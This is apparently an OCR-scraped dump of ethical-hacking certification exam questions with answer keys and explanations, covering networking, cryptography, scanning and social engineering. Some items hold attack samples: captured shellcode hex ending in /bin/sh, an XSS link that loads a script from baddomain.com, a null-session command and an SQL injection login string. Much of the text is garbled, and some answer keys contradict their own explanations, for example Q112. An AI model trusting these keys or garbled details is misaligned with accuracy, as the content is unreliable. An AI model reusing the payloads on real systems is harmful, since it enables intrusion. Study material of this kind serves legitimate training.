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NEW QUESTION 1
- (Topic 1)
What two conditions must a digital signature meet?

A. Has to be the same number of characters as a physical signature and must be unique.
B. Has to be unforgeable, and has to be authentic.

C. Must be unique and have special characters.

D. Has to be legible and neat.

Answer: B

NEW QUESTION 2
- (Topic 1)
Which of the following tools can be used to perform a zone transfer?

. NSLookup

. Finger

Dig

. Sam Spade
Host
Netcat

. Neotrace

OTmMUOwP

Answer: ACDE

NEW QUESTION 3

- (Topic 1)

Which Intrusion Detection System is the best applicable for large environments where critical assets on the network need extra scrutiny and is ideal for observing
sensitive network segments?

A. Honeypots

B. Firewalls

C. Network-based intrusion detection system (NIDS)
D. Host-based intrusion detection system (HIDS)

Answer: C
NEW QUESTION 4

- (Topic 1)
What is the minimum number of network connections in a multihomed firewall?

00w
N DN O W

Answer: A

NEW QUESTION 5

- (Topic 1)

Bob is doing a password assessment for one of his clients. Bob suspects that security policies are not in place. He also suspects that weak passwords are
probably the norm throughout the company he is evaluating. Bob is familiar with password weaknesses and key loggers.

Which of the following options best represents the means that Bob can adopt to retrieve passwords from his clients hosts and servers?

A. Hardware, Software, and Sniffing.

B. Hardware and Software Keyloggers.

C. Passwords are always best obtained using Hardware key loggers.
D. Software only, they are the most effective.

Answer: A

NEW QUESTION 6

- (Topic 1)

You are the Network Admin, and you get a complaint that some of the websites are no longer accessible. You try to ping the servers and find them to be
reachable. Then you type the IP address and then you try on the browser, and find it to be accessible. But they are not accessible when you try using the URL.
What may be the problem?

A. Traffic is Blocked on UDP Port 53
B. Traffic is Blocked on TCP Port 80
C. Traffic is Blocked on TCP Port 54
D. Traffic is Blocked on UDP Port 80

Answer: A

Explanation:
Most likely have an issue with DNS.
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DNS stands for ??Domain Name System.?? 1t??s a system that lets you connect to websites by

matching human-readable domain names (like example.com) with the server's unique ID where a website is stored.

Think of the DNS system as the internet??s phonebook. It lists domain names with their corresponding identifiers called IP addresses, instead of listing people??s
names with their phone numbers. When a user enters a domain name like wpbeginner.com on their device, it looks up the IP address and connects them to the
physical location where that website is stored.

NOTE: Often DNS lookup information will be cached locally inside the querying computer or remotely in the DNS infrastructure. There are typically 8 steps in a
DNS lookup. When DNS information is cached, steps are skipped from the DNS lookup process, making it quicker. The example below outlines all 8 steps when
nothing is cached.

The 8 steps in a DNS lookup:

* 1. A user types ??example.com?? into a web browser, and the query travels into the Internet and is received by a DNS recursive resolver;

* 2. The resolver then queries a DNS root nameserver;

* 3. The root server then responds to the resolver with the address of a Top-Level Domain (TLD) DNS server (such as .com or .net), which stores the information
for its domains. When searching for example.com, our request is pointed toward the .com TLD;

* 4, The resolver then requests the .com TLD;

* 5. The TLD server then responds with the IP address of the domain??s nameserver, example.com;

* 6. Lastly, the recursive resolver sends a query to the domain??s nameserver;

* 7. The IP address for example.com is then returned to the resolver from the nameserver;

* 8. The DNS resolver then responds to the web browser with the IP address of the domain requested initially;

Once the 8 steps of the DNS lookup have returned the IP address for example.com, the browser can request the web page:

* 9. The browser makes an HTTP request to the IP address;

* 10. The server at that IP returns the webpage to be rendered in the browser.

NOTE 2: DNS primarily uses the User Datagram Protocol (UDP) on port number 53 to serve requests. And if this port is blocked, then a problem arises already in
the first step. But the ninth step is performed without problems.

NEW QUESTION 7

- (Topic 1)

If a token and 4-digit personal identification number (PIN) are used to access a computer system and the token performs off-line checking for the correct PIN, what
type of attack is possible?

A. Birthday

B. Brute force

C. Man-in-the-middle
D. Smurf

Answer: B

NEW QUESTION 8

- (Topic 1)

Peter, a Network Administrator, has come to you looking for advice on a tool that would help him perform SNMP enquires over the network.
Which of these tools would do the SNMP enumeration he is looking for? Select the best answers.

A. SNMPULtil

B. SNScan

C. SNMPScan

D. Solarwinds IP Network Browser
E. NMap

Answer: ABD

NEW QUESTION 9
- (Topic 1)
Identify the UDP port that Network Time Protocol (NTP) uses as its primary means of communication?

A. 113
B. 69

C.123
D. 161

Answer: C

Explanation:

https://en.wikipedia.org/wiki/Network_Time_Protocol

The Network Time Protocol (NTP) is a networking protocol for clock synchronization between computer systems over packet-switched, variable-latency data
networks. NTP is intended to synchronize all participating computers within a few milliseconds of

Coordinated Universal Time (UTC). It uses the intersection algorithm, a modified version of Marzullo's algorithm, to select accurate time servers and is designed to
mitigate variable network latency effects. NTP can usually maintain time to within tens of milliseconds over the public Internet and achieve better than one
millisecond accuracy in local area networks. Asymmetric routes and network congestion can cause errors of 100 ms or more.

The protocol is usually described in terms of a client-server model but can easily be used in peer-to-peer relationships where both peers consider the other to be a
potential time source. Implementations send and receive timestamps using the User Datagram Protocol (UDP) on port number 123.

NEW QUESTION 10
- (Topic 1)
PGP, SSL, and IKE are all examples of which type of cryptography?

A. Digest

B. Secret Key

C. Public Key

D. Hash Algorithm
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Answer: C

NEW QUESTION 10

- (Topic 1)

What is the known plaintext attack used against DES which gives the result that encrypting plaintext with one DES key followed by encrypting it with a second DES
key is no more secure than using a single key?

A. Man-in-the-middle attack
B. Meet-in-the-middle attack
C. Replay attack

D. Traffic analysis attack

Answer: B

Explanation:

https://en.wikipedia.org/wiki/Meet-in-the-middle_attack

The meet-in-the-middle attack (MITM), a known plaintext attack, is a generic space—time tradeoff cryptographic attack against encryption schemes that rely on
performing multiple encryption operations in sequence. The MITM attack is the primary reason why Double DES is not used and why a Triple DES key (168-bit)
can be bruteforced by an attacker with 256 space and 2112 operations.

The intruder has to know some parts of plaintext and their ciphertexts. Using meet-in-the- middle attacks it is possible to break ciphers, which have two or more
secret keys for multiple encryption using the same algorithm. For example, the 3DES cipher works in this way. Meet-in-the-middle attack was first presented by
Diffie and Hellman for cryptanalysis of DES algorithm.

NEW QUESTION 11

- (Topic 1)

The establishment of a TCP connection involves a negotiation called three-way handshake. What type of message does the client send to the server in order to
begin this negotiation?

A. ACK
B. SYN
C.RST
D. SYN-ACK

Answer: B

NEW QUESTION 16
- (Topic 1)
Why would you consider sending an email to an address that you know does not exist within the company you are performing a Penetration Test for?

A. To determine who is the holder of the root account

B. To perform a DoS

C. To create needless SPAM

D. To illicit a response back that will reveal information about email servers and how they treat undeliverable mail
E. To test for virus protection

Answer: D

NEW QUESTION 20

- (Topic 1)

You are tasked to perform a penetration test. While you are performing information gathering, you find an employee list in Google. You find the receptionist??s
email, and you send her an email changing the source email to her boss??s email (boss@company). In this email, you ask for a pdf with information. She reads
your email and sends back a pdf with links. You exchange the pdf links with your malicious links (these links contain malware) and send back the modified pdf,
saying that the links don??t work. She reads your email, opens the links, and her machine gets infected. You now have access to the company network. What
testing method did you use?

A. Social engineering
B. Piggybacking

C. Tailgating

D. Eavesdropping

Answer: A

Explanation:

Social engineering is the term used for a broad range of malicious activities accomplished through human interactions. It uses psychological manipulation to trick
users into making security mistakes or giving away sensitive information.

Social engineering attacks typically involve some form of psychological manipulation, fooling otherwise unsuspecting users or employees into handing over
confidential or sensitive data. Commonly, social engineering involves email or other communication that invokes urgency, fear, or similar emotions in the victim,
leading the victim to promptly reveal sensitive information, click a malicious link, or open a malicious file. Because social engineering involves a human element,
preventing these attacks can be tricky for enterprises.

NEW QUESTION 22

- (Topic 1)

You have gained physical access to a Windows 2008 R2 server which has an accessible disc drive. When you attempt to boot the server and log in, you are
unable to guess the password. In your toolkit, you have an Ubuntu 9.10 Linux LiveCD. Which Linux-based tool can change any user??s password or activate
disabled Windows accounts?

A. John the Ripper
B. SET
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C. CHNTPW
D. Cain & Abel

Answer: C

NEW QUESTION 27

- (Topic 1)

The change of a hard drive failure is once every three years. The cost to buy a new hard drive is $300. It will require 10 hours to restore the OS and software to the
new hard disk. It will require a further 4 hours to restore the database from the last backup to the new hard disk. The recovery person earns $10/hour. Calculate
the SLE, ARO, and ALE. Assume the EF = 1(100%). What is the closest approximate cost of this replacement and recovery operation per year?

A. $1320
B. $440
C. $100
D. $146

Answer: D

Explanation:

1. AV (Asset value) = $300 + (14 * $10) = $440 - the cost of a hard drive plus the work of a recovery person, i.e.how much would it take to replace 1 asset? 10
hours for resorting the OS and soft + 4 hours for DB restore multiplies by hourly rate of the recovery person.

* 2. SLE (Single Loss Expectancy) = AV * EF (Exposure Factor) = $440 * 1 = $440

* 3. ARO (Annual rate of occurrence) = 1/3 (every three years, meaning the probability of occurring during 1 years is 1/3)

* 4, ALE (Annual Loss Expectancy) = SLE * ARO = 0.33 * $440 = $145.2

NEW QUESTION 28

- (Topic 1)

User A is writing a sensitive email message to user B outside the local network. User A has chosen to use PKI to secure his message and ensure only user B can
read the sensitive

email. At what layer of the OSI layer does the encryption and decryption of the message take place?

A. Application
B. Transport

C. Session

D. Presentation

Answer: D

Explanation:

https://en.wikipedia.org/wiki/Presentation_layer

In the seven-layer OSI model of computer networking, the presentation layer is layer 6 and serves as the data translator for the network. It is sometimes called the
syntax layer. The presentation layer is responsible for the formatting and delivery of information to the application layer for further processing or display.
Encryption is typically done at this level too, although it can be done on the application, session, transport, or network layers, each having its own advantages and
disadvantages. Decryption is also handled at the presentation layer. For example, when logging on to bank account sites the presentation layer will decrypt the
data as it is received.

NEW QUESTION 31
- (Topic 1)
Which of the following is assured by the use of a hash?

A. Authentication
B. Confidentiality
C. Availability

D. Integrity

Answer: D

NEW QUESTION 34

- (Topic 1)

Hackers often raise the trust level of a phishing message by modeling the email to look similar to the internal email used by the target company. This includes
using logos, formatting, and names of the target company. The phishing message will often use the name of the company CEO, President, or Managers. The time
a hacker spends performing research to locate this information about a company is known as?

A. Exploration

B. Investigation

C. Reconnaissance
D. Enumeration
Answer: C
Explanation:

Cyber Kill Chain Methodology 1. Reconnaissance - Gathering information about the target.

NEW QUESTION 38
- (Topic 1)
Which of the following program infects the system boot sector and the executable files at the same time?

A. Polymorphic virus
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B. Stealth virus
C. Multipartite Virus
D. Macro virus

Answer: C

NEW QUESTION 40
- (Topic 1)

The following is an entry captured by a network IDS. You are assigned the task of analyzing this entry. You notice the value 0x90, which is the most common

NOOP instruction for the Intel processor. You figure that the attacker is attempting a buffer overflow attack.
You also notice "/bin/sh" in the ASCII part of the output. As an analyst what would you conclude about the attack?

45 00 01 ce 28 1e 40 00 32 06 96 92 dl 3a 18 09 86 91
06 38 02 03 6f S49 4f a9 01 af fe 78 SO 18 7d 78 76 dd
Application “Calculator” “%path:..\dtsapps\calc\dcalc.
0.05inxvY..

42 42 20 £7 ££ bt 21 £7 ££ bt 22 £7 2£ bt 23 £7 2£ bt
S8 S8 58 S8 58 58 58 58 58 S8 S8 58 S8 S8 S8 S8 25 2e
34 75 25 33 30 30 24 6 25 2e& 32 31 33 75 25 33 30 31
73 65 63 75 25 33 30 32 24 6e 25 2e 31 39 32 75 25 33
24 6e 90 S0 S0 S0 90 90 S0 S0 S0 S0 SO 90 S0 90 S0 90
90 90 90 90 S0 90 90 90 90 90 90 S0 90 90 90 90 90 90
90 90 90 S0 90 90 90 90 90 90 90 90 S0 90 90 90 S0 90
90 90 90 90 S0 90 90 90 90 90 90 S0 90 90 90 90 90 90
S0 90 S0 S0 SO S0 S0 90 S0 S0 90 SO S0 S0 S0 SO S0 90
90 90 S0 S0 S0 90 90 90 90 90 90 90 SO 90 S0 S0 90 90
S0 S0 S0 SO SO 90 S0 90 90 90 90 90 SO S0 90 S0 90 S0
90 90 S0 90 S0 90 90 90 90 90 90 S0 90 90 90 90 90 90
S0 S0 S0 S0 S0 90 S0 90 S0 S0 90 90 S0 S0 90 S0 90 90
S0 90 90 S0 S0 90 90 90 90 90 90 90 S0 90 90 %0 90 90
90 90 31 db 31 ¢c9 31 cO b0 46 cd 80 B89 eS 31 d2 bZ 66
31 ¢c9 89 cb 43 89 5d 18 43 89 S5d 114 9o 89 4d fc 8d 4d
80 31 ¢c9 89 45 £4 43 66 89 Sd ec 66 7 45 ee Of 27 89
8d 45 ec 89 4S5 18 c6 45 fc 10 89 d0 B8d 4d 1£4 cd 80 89
43 cd 80 89 d0 43 cd 80 89 ¢c3 31 c9 b2 3f 89 dD cd 80
41 cd 80 eb 18 Se 89 75 08 31 c0O 88 46 07 89 45 Oc bO
£3 8d 4d 08 8d SS Oc cd 80 e8 e3 £ff ff £ff 2f 62 69 be
68 Oa h.

EVENT4: [NOOP:X386] (tcp,dp=51S,sp=1592)

A. The buffer overflow attack has been neutralized by the IDS
B. The attacker is creating a directory on the compromised machine

C. The attacker is attempting a buffer overflow attack and has succeeded

D. The attacker is attempting an exploit that launches a command-line shell

Answer: D

NEW QUESTION 44
- (Topic 1)

Which results will be returned with the following Google search query? site:target.com —

site:Marketing.target.com accounting

18 97 E..1(.0.2...N:......
00 00 .8..0TO®. bxP.\)
exex” ™ ™ sjize 0.75in 0.251in 0.501in
S8 S8 BB =y 'y By XX
32 32 XIXOXXTAXATIKKK. .22
24 6e 4ui3300$n%.213u%301$n
30 33 secu%302$n%.192u%303
00, s s s e v
TR 1 T A RS SR T R s
B0 B0 ik e
90 90 .cevvecsenccssnnnsns
90 90 ..ccvevvanscnnnes g
D0 0D o s e i e
00 G0 asiie s s e e
T o o
B0 s e
0O v e e
89 d0 ..101E1A°FI..&10%£.D
£f4 cd 1E.EC.)oC.)6K.Mu.M61
4d fO .1E.ES6Cf.]ifCEi.'.Ms
d0 43 .Ei.EcZEu..D.M6I..DC
89 a0 Ci..pci..R1E+*2.pi..D
Ob 89 Al.&.”.u.1A.F..E.°..
2f 73 6.M..U.I.éa&¢¥y¥/bin/s

A. Results from matches on the site marketing.target.com that are in the domain target.com but do not include the word accounting.

B. Results matching all words in the query.

C. Results for matches on target.com and Marketing.target.com that include the word ??accounting??
D. Results matching ??accounting?? in domain target.com but not on the site Marketing.target.com

Answer: D

NEW QUESTION 49
- (Topic 1)

Which of the following is a low-tech way of gaining unauthorized access to systems?

A. Social Engineering
B. Eavesdropping

C. Scanning

D. Sniffing

Answer: A
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NEW QUESTION 54

- (Topic 1)

You have successfully comprised a server having an IP address of 10.10.0.5. You would like to enumerate all machines in the same network quickly.
What is the best Nmap command you will use?

A.nmap -T4 -q 10.10.0.0/24
B. nmap -T4 -F 10.10.0.0/24
C. nmap -T4 -r 10.10.1.0/24

D. nmap -T4 -O 10.10.0.0/24

Answer: B

Explanation:

https://nmap.org/book/man-port-specification.html

NOTE: In my opinion, this is an absolutely wrong statement of the question. But you may come across a question with a similar wording on the exam. What does
"fast" mean? If we want to increase the speed and intensity of the scan we can select the mode using the -T flag (0/1/2/3/4/5). At high -T values, we will sacrifice
stealth and gain speed, but we will not limit functionality.

«nmap -T4 -F 10.10.0.0/24» This option is "correct" because of the -F flag.

-F (Fast (limited port) scan)

Specifies that you wish to scan fewer ports than the default. Normally Nmap scans the most common 1,000 ports for each scanned protocol. With -F, this is
reduced to 100. Technically, scanning will be faster, but just because we have reduced the number of ports by 10 times, we are just doing 10 times less work, not
faster.

NEW QUESTION 55
- (Topic 1)
What is a NULL scan?

A. A scan in which all flags are turned off

B. A scan in which certain flags are off

C. A scan in which all flags are on

D. A scan in which the packet size is set to zero
E. A scan with an illegal packet size

Answer: A

NEW QUESTION 58
- (Topic 1)
Which regulation defines security and privacy controls for Federal information systems and organizations?

A. HIPAA

B. EU Safe Harbor
C. PCI-DSS

D. NIST-800-53

Answer: D

Explanation:

NIST Special Publication 800-53 provides a catalog of security and privacy controls for all U.S. federal information systems except those related to national
security. It is published by the National Institute of Standards and Technology, which is a non-regulatory agency of the United States Department of Commerce.
NIST develops and issues standards, guidelines, and other publications to assist federal agencies in implementing the Federal Information Security Modernization
Act of 2014 (FISMA) and to help with managing cost-effective programs to protect their information and information systems.

NEW QUESTION 59
- (Topic 1)
Which type of security feature stops vehicles from crashing through the doors of a building?

A. Bollards
B. Receptionist
C. Mantrap
D. Turnstile

Answer: A

NEW QUESTION 63
- (Topic 1)
Which is the first step followed by Vulnerability Scanners for scanning a network?

A. OS Detection

B. Firewall detection

C. TCP/UDP Port scanning

D. Checking if the remote host is alive

Answer: D

Explanation:

Vulnerability scanning solutions perform vulnerability penetration tests on the organizational network in three steps:

* 1. Locating nodes: The first step in vulnerability scanning is to locate live hosts in the target network using various scanning techniques.

* 2. Performing service and OS discovery on them: After detecting the live hosts in the target network, the next step is to enumerate the open ports and services
and the operating system on the target systems.
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* 3. Testing those services and OS for known vulnerabilities: Finally, after identifying the open services and the operating system running on the target nodes, they
are tested for known vulnerabilities.

NEW QUESTION 65
- (Topic 1)
What is the purpose of a demilitarized zone on a network?

A. To scan all traffic coming through the DMZ to the internal network

B. To only provide direct access to the nodes within the DMZ and protect the network behind it
C. To provide a place to put the honeypot

D. To contain the network devices you wish to protect

Answer: B

NEW QUESTION 67
- (Topic 1)
What is the following command used for? net use \targetipc$ "' /u:""

A. Grabbing the etc/passwd file

B. Grabbing the SAM

C. Connecting to a Linux computer through Samba.
D. This command is used to connect as a null session
E. Enumeration of Cisco routers

Answer: D

NEW QUESTION 69

- (Topic 1

P(etefextr)acts the SIDs list from Windows 2000 Server machine using the hacking tool "SIDExtractor". Here is the output of the SIDs:
6-1-5-21-1125394485-807628933-54978560-100Johns
5-1-5-21-1125394485-807628933-54978560-652Rebecca
5-1-5-21-1125394485-807628933-54978560-412Sheela
5-1-5-21-1125394485-807628933-54978560-9995hawn
5-1-5-21-1125394485-807628933-54978560-777Somia
5-1-5-21-1125394485-807628933-54978560-500chang
65-1-5-21-1125394485-807628933-54978560-555Micah

From the above list identify the user account with System Administrator privileges.

A. John

B. Rebecca
C. Sheela
D. Shawn
E. Somia
F. Chang
G. Micah

Answer: F
NEW QUESTION 73

- (Topic 1)
What did the following commands determine?

C: userZsid \earth guest
S-1-5-21-343818358-789336058-1343024091-501
C:sidZuser 5 21 343818398 7895336058 1343024091 500

Name 138 Joe
Domain i1is EARTH

A. That the Joe account has a SID of 500

B. These commands demonstrate that the guest account has NOT been disabled
C. These commands demonstrate that the guest account has been disabled

D. That the true administrator is Joe

E. Issued alone, these commands prove nothing

Answer: D

NEW QUESTION 74
- (Topic 1)
DHCP snooping is a great solution to prevent rogue DHCP servers on your network. Which security feature on switchers leverages the DHCP snooping database
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to help prevent man- in-the-middle attacks?

A. Spanning tree

B. Dynamic ARP Inspection (DAI)

C. Port security

D. Layer 2 Attack Prevention Protocol (LAPP)

Answer: B

Explanation:

Dynamic ARP inspection (DAI) protects switching devices against Address Resolution Protocol (ARP) packet spoofing (also known as ARP poisoning or ARP
cache poisoning). DAI inspects ARPs on the LAN and uses the information in the DHCP snooping database on the switch to validate ARP packets and to protect
against ARP spoofing. ARP requests and replies are compared against entries in the DHCP snooping database, and filtering decisions are made based on the
results of those comparisons. When an attacker tries to use a forged ARP packet to spoof an address, the switch compares the address with entries in the
database. If the media access control (MAC) address or IP address in the ARP packet does not match a valid entry in the DHCP snooping database, the packet is
dropped.

NEW QUESTION 78

- (Topic 1)

A company??s security policy states that all Web browsers must automatically delete their HTTP browser cookies upon terminating. What sort of security breach is
this policy attempting to mitigate?

A. Attempts by attackers to access the user and password information stored in the company??s SQL database.

B. Attempts by attackers to access Web sites that trust the Web browser user by stealing the user??s authentication credentials.

C. Attempts by attackers to access password stored on the user??s computer without the user??s knowledge.

D. Attempts by attackers to determine the user??s Web browser usage patterns, including when sites were visited and for how long.

Answer: B

NEW QUESTION 81

- (Topic 1)

Which address translation scheme would allow a single public IP address to always correspond to a single machine on an internal network, allowing "server
publishing"?

A. Overloading Port Address Translation
B. Dynamic Port Address Translation

C. Dynamic Network Address Translation
D. Static Network Address Translation

Answer: D

NEW QUESTION 84
- (Topic 1)
Which of the following Linux commands will resolve a domain name into IP address?

A. >host-t a hackeddomain.com

B. >host-t ns hackeddomain.com

C. >host -t soa hackeddomain.com
D. >host -t AXFR hackeddomain.com

Answer: A

NEW QUESTION 88
- (Topic 1)
Which of the following is the BEST way to defend against network sniffing?

A. Using encryption protocols to secure network communications

B. Register all machines MAC Address in a Centralized Database

C. Use Static IP Address

D. Restrict Physical Access to Server Rooms hosting Critical Servers

Answer: A

Explanation:

https://en.wikipedia.org/wiki/Sniffing_attack

To prevent networks from sniffing attacks, organizations and individual users should keep away from applications using insecure protocols, like basic HTTP
authentication, File Transfer Protocol (FTP), and Telnet. Instead, secure protocols such as HTTPS, Secure File Transfer Protocol (SFTP), and Secure Shell (SSH)
should be preferred. In case there is a necessity for using any insecure protocol in any application, all the data transmission should be encrypted. If required, VPN
(Virtual Private Networks) can be used to provide secure access to users.

NOTE: | want to note that the wording "best option" is valid only for the EC-Council's exam since the other options will not help against sniffing or will only help
from some specific attack vectors.

The sniffing attack surface is huge. To protect against it, you will need to implement a complex of measures at all levels of abstraction and apply controls at the
physical, administrative, and technical levels. However, encryption is indeed the best option of all, even if your data is intercepted - an attacker cannot understand
it.

NEW QUESTION 91
- (Topic 1)
Although FTP traffic is not encrypted by default, which layer 3 protocol would allow for end- to-end encryption of the connection?
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A. SFTP
B. Ipsec
C. SSL

D. FTPS

Answer: B

Explanation:

https://en.wikipedia.org/wiki/IPsec

Internet Protocol Security (IPsec) is a secure network protocol suite that authenticates and encrypts the packets of data to provide secure encrypted
communication between two computers over an Internet Protocol network. It is used in virtual private networks (VPNSs). IPsec includes protocols for establishing
mutual authentication between agents at the beginning of a session and negotiation of cryptographic keys to use during the session. IPsec can protect data flows
between a pair of hosts (host-to-host), between a pair of security gateways (network-to-network), or between a security gateway and a host (network-to-host).
IPsec uses cryptographic security services to protect communications over Internet Protocol (IP) networks. It supports network-level peer authentication, data-
origin authentication, data integrity, data confidentiality (encryption), and replay protection. The initial IPv4 suite was developed with few security provisions. As a
part of the IPv4 enhancement, IPsec is a layer 3 OSI model or internet layer end-to-end security scheme. In contrast, while some other Internet security systems in
widespread use operate above layer 3, such as Transport Layer Security (TLS) that operates at the Transport Layer and Secure Shell (SSH) that operates at the
Application layer, IPsec can automatically secure applications at the IP layer.

NEW QUESTION 94
- (Topic 1)
In the field of cryptanalysis, what is meant by a ??rubber-hose?? attack?

A. Forcing the targeted keystream through a hardware-accelerated device such as an ASIC.

B. A backdoor placed into a cryptographic algorithm by its creator.

C. Extraction of cryptographic secrets through coercion or torture.

D. Attempting to decrypt ciphertext by making logical assumptions about the contents of the original plaintext.

Answer: C

Explanation:

A powerful and often the most effective cryptanalysis method in which the attack is directed at the most vulnerable link in the cryptosystem - the person. In this
attack, the cryptanalyst uses blackmail, threats, torture, extortion, bribery, etc. This method's main advantage is the decryption time's fundamental independence
from the volume of secret information, the length of the key, and the cipher's mathematical strength.

The method can reduce the time to guess a password, for example, for AES, to an acceptable level; however, it requires special authorization from the relevant
regulatory authorities. Therefore, it is outside the scope of this course and is not considered in its practical part.

NEW QUESTION 95
- (Topic 1)
What is the role of test automation in security testing?

A. Itis an option but it tends to be very expensive.

B. It should be used exclusivel

C. Manual testing is outdated because of low speed and possible test setup inconsistencies.
D. Test automation is not usable in security due to the complexity of the tests.

E. It can accelerate benchmark tests and repeat them with a consistent test setu

F. But it cannot replace manual testing completely.

Answer: D

NEW QUESTION 97

- (Topic 1)

An Intrusion Detection System (IDS) has alerted the network administrator to a possibly malicious sequence of packets sent to a Web server in the network??s
external DMZ. The packet traffic was captured by the IDS and saved to a PCAP file. What type of network tool can be used to determine if these packets are
genuinely malicious or simply a false positive?

A. Protocol analyzer

B. Network sniffer

C. Intrusion Prevention System (IPS)
D. Vulnerability scanner

Answer: A

NEW QUESTION 100
- (Topic 1)
What is the proper response for a NULL scan if the port is open?

A. SYN

B. ACK

C.FIN

D. PSH

E. RST

F. No response

Answer: F

NEW QUESTION 105
- (Topic 1)
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During a recent security assessment, you discover the organization has one Domain Name Server (DNS) in a Demilitarized Zone (DMZ) and a second DNS server
on the internal network.
What is this type of DNS configuration commonly called?

A. DynDNS

B. DNS Scheme
C. DNSSEC

D. Split DNS

Answer: D

NEW QUESTION 107

- (Topic 2)

You are a penetration tester working to test the user awareness of the employees of the client xyz. You harvested two employees' emails from some public
sources and are creating a client-side backdoor to send it to the employees via email. Which stage of the cyber Kill chain are you at?

A. Reconnaissance

B. Command and control
C. Weaponization

D. Exploitation

Answer: C

Explanation:

Weaponization

The adversary analyzes the data collected in the previous stage to identify the vulnerabilities and techniques that can exploit and gain unauthorized access to the
target organization. Based on the vulnerabilities identified during analysis, the adversary

selects or creates a tailored deliverable malicious payload (remote-access malware weapon) using an exploit and a backdoor to send it to the victim. An adversary
may target specific network devices, operating systems, endpoint devices, or even individuals within the organization to carry out their attack. For example, the
adversary

may send a phishing email to an employee of the target organization, which may include a malicious attachment such as a virus or worm that, when downloaded,
installs a backdoor on the system that allows remote access to the adversary. The following are the activities of the adversary: o Identifying appropriate malware
payload based on the analysis o Creating a new malware payload or selecting, reusing, modifying the available malware payloads based on the identified
vulnerability

o Creating a phishing email campaign o Leveraging exploit kits and botnets

https://en.wikipedia.org/wiki/Kill_chain

The Cyber Kill Chain consists of 7 steps: Reconnaissance, weaponization, delivery, exploitation, installation, command and control, and finally, actions on
objectives. Below you can find detailed information on each.

* 1. Reconnaissance: In this step, the attacker/intruder chooses their target. Then they conduct in-depth research on this target to identify its vulnerabilities that can
be exploited.

* 2. Weaponization: In this step, the intruder creates a malware weapon like a virus, worm, or such to exploit the target's vulnerabilities. Depending on the target
and the purpose of the attacker, this malware can exploit new, undetected vulnerabilities (also known as the zero-day exploits) or focus on a combination of
different vulnerabilities.

* 3. Delivery: This step involves transmitting the weapon to the target. The intruder/attacker can employ different USB drives, e-mail attachments, and websites for
this purpose.

* 4. Exploitation: In this step, the malware starts the action. The program code of the

malware is triggered to exploit the target??s vulnerability/vulnerabilities.

* 5, Installation: In this step, the malware installs an access point for the intruder/attacker. This access point is also known as the backdoor.

* 6. Command and Control: The malware gives the intruder/attacker access to the network/system.

* 7. Actions on Objective: Once the attacker/intruder gains persistent access, they finally take action to fulfill their purposes, such as encryption for ransom, data
exfiltration, or even data destruction.

NEW QUESTION 108
- (Topic 2)
This is an attack that takes advantage of a web site vulnerability in which the site displays content that includes un-sanitized user-provided data.

oMM N

<ahref="http://foobar.com/index.html?id=%3Cscript$20sxrc=%22

s %22%3E%3C/script%3E">See foobar</a>

. -

http://baddomain.com/badscript.

¥
Ll

What is this attack?

A. Cross-site-scripting attack
B. SQL Injection

C. URL Traversal attack

D. Buffer Overflow attack

Answer: A

NEW QUESTION 112

- (Topic 2)

Harry. a professional hacker, targets the IT infrastructure of an organization. After preparing for the attack, he attempts to enter the target network using techniques
such as sending spear-phishing emails and exploiting vulnerabilities on publicly available servers. Using these techniques, he successfully deployed malware on
the target system to establish an outbound connection. What is the APT lifecycle phase that Harry is currently executing?

A. Preparation
B. Cleanup

C. Persistence
D. initial intrusion
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Answer: A

Explanation:

After the attacker
completes preparations, subsequent step is an effort to realize an edge within the target??s environment. a particularly common entry tactic is that the use of
spearphishing emails containing an internet link or attachment. Email links usually cause sites where the target??s browser and related software are subjected to
varied exploit techniques or where the APT actors plan to social engineer information from the victim which will be used later. If a successful exploit takes place, it
installs an initial malware payload on the victim??s computer. Figure 2 illustrates an example of a spearphishing email that contains an attachment. Attachments
are usually executable malware, a zipper or other archive containing malware, or a malicious Office or Adobe PDF (Portable Document Format) document that
exploits vulnerabilities within the victim??s applications to ultimately execute malware on the victim??s computer. Once the user has opened a malicious file using
vulnerable software, malware is executing on the target system. These phishing emails are often very convincing and difficult to differentiate from legitimate email
messages. Tactics to extend their believability include modifying legitimate documents from or associated with the organization. Documents are sometimes stolen
from the organization or their collaborators during previous exploitation operations. Actors modify the documents by adding exploits and malicious code then send
them to the victims. Phishing emails are commonly sent through previously compromised email servers, email accounts at organizations associated with the target
or public email services. Emails also can be sent through mail relays with modified email headers to form the messages appear to possess originated from
legitimate sources. Exploitation of vulnerabilities on public- facing servers is another favorite technique of some APT groups. Though this will be accomplished
using exploits for known vulnerabilities, 0-days are often developed or purchased to be used in intrusions as required .

Gaining an edge within the target environment is that the primary goal of the initial intrusion. Once a system is exploited, the attacker usually places malware on
the compromised system and uses it as a jump point or proxy for further actions. Malware placed during the initial intrusion phase is usually an easy downloader,
basic Remote Access Trojan or an easy shell. Figure 3 illustrates a newly infected system initiating an outbound connection to notify the APT actor that the initial
intrusion attempt was successful which it??s able to accept commands.

NEW QUESTION 117

- (Topic 2)

Steve, an attacker, created a fake profile on a social media website and sent a request to Stella. Stella was enthralled by Steve's profile picture and the description
given for his profile, and she initiated a conversation with him soon after accepting the request. After a few days. Sieve started asking about her company details
and eventually gathered all the essential information regarding her company. What is the social engineering technique Steve employed in the above scenario?

A. Diversion theft
B. Baiting

C. Honey trap

D. Piggybacking

Answer: C

Explanation:

The honey trap is a technique where an attacker targets a person online by pretending to be an attractive person and then begins a fake online relationship to
obtain confidential information about the target company. In this technique, the victim is an insider who possesses critical information about the target organization.
Baiting is a technique in which attackers offer end users something alluring in exchange for

important information such as login details and other sensitive data. This technique relies on

the curiosity and greed of the end-users. Attackers perform this technique by leaving a physical

device such as a USB flash drive containing malicious files in locations where people can easily

find them, such as parking lots, elevators, and bathrooms. This physical device is labeled with a

legitimate company's logo, thereby tricking end-users into trusting it and opening it on their

systems. Once the victim connects and opens the device, a malicious file downloads. It infects

the system and allows the attacker to take control.

For example, an attacker leaves some bait in the form of a USB drive in the elevator with the

label "Employee Salary Information 2019" and a legitimate company's logo. Out of curiosity and

greed, the victim picks up the device and opens it up on their system, which downloads the

bait. Once the bait is downloaded, a piece of malicious software installs on the victim's system,

giving the attacker access.

NEW QUESTION 119
- (Topic 2)
How is the public key distributed in an orderly, controlled fashion so that the users can be sure of the sender??s identity?

A. Hash value
B. Private key
C. Digital signature
D. Digital certificate

Answer: D

NEW QUESTION 122

- (Topic 2)

Suppose that you test an application for the SQL injection vulnerability. You know that the backend database

is based on Microsoft SQL Server. In the login/password form, you enter the following

credentials:

Username: attack' or 1=1 - Password: 123456

Based on the above credentials, which of the following SQL commands are you expecting to be executed by the server, if there is indeed an SQL injection
vulnerability?

